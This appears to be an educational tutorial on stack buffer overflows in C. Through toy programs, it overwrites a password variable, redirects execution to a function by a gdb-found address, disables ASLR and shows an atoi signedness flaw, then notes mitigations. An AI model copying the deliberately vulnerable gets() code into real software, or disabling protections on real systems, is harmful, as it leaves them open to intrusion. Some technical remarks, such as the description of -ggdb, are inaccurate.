Buffer overflow attack
Explain with the code here the address and the buffer overflow in the memory with a diagram
#include <stdlib.h>
#include <stdio.h>
int main(void){
char a = 'A';
char b = 'A';
char buf[10];
printf("Sizeof: %ld\n", sizeof(char));
printf("Sizeof: %ld\n", sizeof(int));
printf("Value of a: %c\n", a);
printf("Value of b: %c\n", b);
printf("Address of a: %p\n", &a);
printf("Address of b: %p\n", &b);
printf("Address of buf: %p\n", &buf);
for (int i = 0; i < 10; i++){
printf("Address of buf %d: %p\n", i, &buf[i]);
}
return 0;
}
And we will execute:
$ gcc -o memories memories.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./memories
Sizeof: 1
Sizeof: 4
Value of a: A
Value of b: A
Address of a: 0x7ff7be1738bb
Address of b: 0x7ff7be1738ba
Address of buf: 0x7ff7be1738b0
Address of buf 0: 0x7ff7be1738b0
Address of buf 1: 0x7ff7be1738b1
Address of buf 2: 0x7ff7be1738b2
Address of buf 3: 0x7ff7be1738b3
Address of buf 4: 0x7ff7be1738b4
Address of buf 5: 0x7ff7be1738b5
Address of buf 6: 0x7ff7be1738b6
Address of buf 7: 0x7ff7be1738b7
Address of buf 8: 0x7ff7be1738b8
Address of buf 9: 0x7ff7be1738b9
Now, we will test to do a buffer overflow
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void){
char passwd[10];
char buf[10];
//memset(buf, 0, 10);
strcpy(passwd, "password");
gets(buf);
printf("Buf: %s\n", buf);
printf("Passwd: %s\n", passwd);
if (strncmp(buf, passwd, 10) == 0){
printf("Access granted\n");
}
else {
printf("Access denied\n");
}
return 0;
}
Compilation:
$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
We execute the code:
$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
mypassword
Buf: mypassword
Passwd:
Access denied
$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
password
Buf: password
Passwd: password
Access granted
We execute the code again, but with the same pattern:
$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
pentestingpentesting
Buf: pentestingpentesting
Passwd: pentesting
Access granted
We can see, with the buffer overflow, we change the passwd variable and we are granted.
Use case
Read variable from the memory
We will use gdb to read a variable from the memory. For that, we will use this C code:
#include <stdio.h>
#include <stdlib.h>
int main(void){
int a = 0;
int b = 5;
int c = 10;
printf("%d\n", c);
return 0;
}
And we will compile the code:
$ gcc -ggdb -O0 -o test test.c
And now, we can execute gdb: gdb -q main. We will disassemble the file and add a breakpoint.
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555135 <+0>: push %rbp
0x0000555555555136 <+1>: mov %rsp,%rbp
0x0000555555555139 <+4>: sub $0x10,%rsp
0x000055555555513d <+8>: movl $0x0,-0x4(%rbp)
0x0000555555555144 <+15>: movl $0x5,-0x8(%rbp)
0x000055555555514b <+22>: movl $0xa,-0xc(%rbp)
0x0000555555555152 <+29>: mov -0xc(%rbp),%eax
0x0000555555555155 <+32>: mov %eax,%esi
0x0000555555555157 <+34>: lea 0xea6(%rip),%rdi # 0x555555556004
0x000055555555515e <+41>: mov $0x0,%eax
0x0000555555555163 <+46>: call 0x555555555030 <printf@plt>
0x0000555555555168 <+51>: mov $0x0,%eax
0x000055555555516d <+56>: leave
0x000055555555516e <+57>: ret
End of assembler dump.
(gdb) break *0x000055555555516d
Breakpoint 1 at 0x55555555516d: file main.c, line 10.
And you can run the program:
(gdb) run
Starting program: /home/geoffrey/Documents/C/overflow/main
10
Breakpoint 1, main () at main.c:10
10 }
Now, we can use the print command to read the variable c:
(gdb) print c
$1 = 10
If we want to display in hex format:
(gdb) print/x c
$3 = 0xa
Execute a function
First, we need to disable the Randomize VA Space:
echo 0 > /proc/sys/kernel/randomize_va_space
Now, we will play with the memory address.
For this use case, we will try to execute a function with the buffer overflow attack. This is the code we use:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void hacked(){
printf("You have been hacked\n");
}
int main(void){
int value;
char buf[10];
value = 0;
gets(buf);
if (value == 0x61616161){
printf("You got it\n");
}
else
printf("0x%08x\n", value);
return 0;
}
We can compile it:
gcc -m32 -ggdb -o0 -Wno-all -fno-stack-protector -o main main.c
We disable all optimization with the parameter -ggdb and we disable the buffer overflow protection with the parameter -fno-stack-protector and we compile for 32bit with -m32.
If during the compilation, you have this error:
In file included from main.c:1:
/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
27 | #include <bits/libc-header-start.h>
| ^~~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.
You must install the package: gcc-multilib
If we execute this code and put the data into it and with the buffer size of 10 characters:
printf "AAAAAAAAAA" | ./main
0x00000000
As you see in the example above, the result of the variable value has not been modified. We will put oversize the buffer of 10 and put data for modifying the value of our variable value:
printf "AAAAAAAAAAabcd" | ./main
0x64636261
Segmentation fault (core dumped)
The result of the variable value is 0x64636261 which is a (0x61), b (0x62), c (0x63) and d (0x64), you can see the result is reversed.
Now, we will try to execute the function hacked. First, we need to get the address for this function. So, go to gdb and run the program:
$ gdb -q main
Reading symbols from main...
(gdb) run
Starting program: /home/gbucchino/C/overflow/main
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaa
0x00000000
[Inferior 1 (process 40544) exited normally]
(gdb) info addr hacked
Symbol "hacked" is a function at address 0x565561bd.
The address is 0x565561bd. With the address, we can modified the value of our variable and put the address as value:
$ printf "AAAAAAAAAA\xbd\x61\x55\x56" | ./main
0x565561bd
You have been hacked
Segmentation fault (core dumped)
That’s works đŸ™‚
We need to compile in 32bit:
gcc -m32 -fno-builtin -fno-stack-protector -z execstack -Wall -std=c11 -ggdb -O0 -o main main.c
Protection against buffer overflow
So, we saw how to execute a buffer overflow attack. The first step, it’s to enable the Randomize VA Space:
echo 2 > /proc/sys/kernel/randomize_va_space
https://en.wikipedia.org/wiki/Address_space_layout_randomization
In modern system, this variable is already set to 2. Also, we use the function gets. This function is deprecated. You must use fgets.
What is assembly registers ?
The assembly register is a storage area in CPU, called General-Purpose Registers. In the array below, you have an exhaustive list of different registers:
| Register | 32 bits | 64 bits | Comment |
|---|---|---|---|
| Accumulator | EAX | RAX | It’s used for arithmetics, logical and I/O instructions |
| Counter | ECX | RCX | It’s a counter for loops |
| Data | EDX | RDX | Also used for I/O instructions |
| Base | EBX | RBX | It’s a index for the value |
| Pointer | ESP | RSP | It’s the stack pointer of the current data |
| Pointer | EBP | RBP | Pointer to the base of the current stack frame |
| Index | EDI | RDI | Pointer for manipulating string |
| Index | EIP | RIP | Contain the next instruction pointer |
Integer exploitable
If the program use atoi function for converting char into a integer, it's possible to exploit a vulnerability:
$ cat atoi.c
#include <stdio.h>
#include <stdlib.h>
int main(void){
char input[10];
int a;
unsigned int score = 5;
fflush(stdout);
fgets(input, 10, stdin);
a = atoi(input);
score = score + a;
printf("%ld\n", (unsigned long)score);
return 0;
}
$ gcc -o atoi atoi.c && ./atoi
-67
4294967234
In the example above, we cast the variable the score to unsigned long and with a negative value, the cast failed. It's important to check the value before any operation.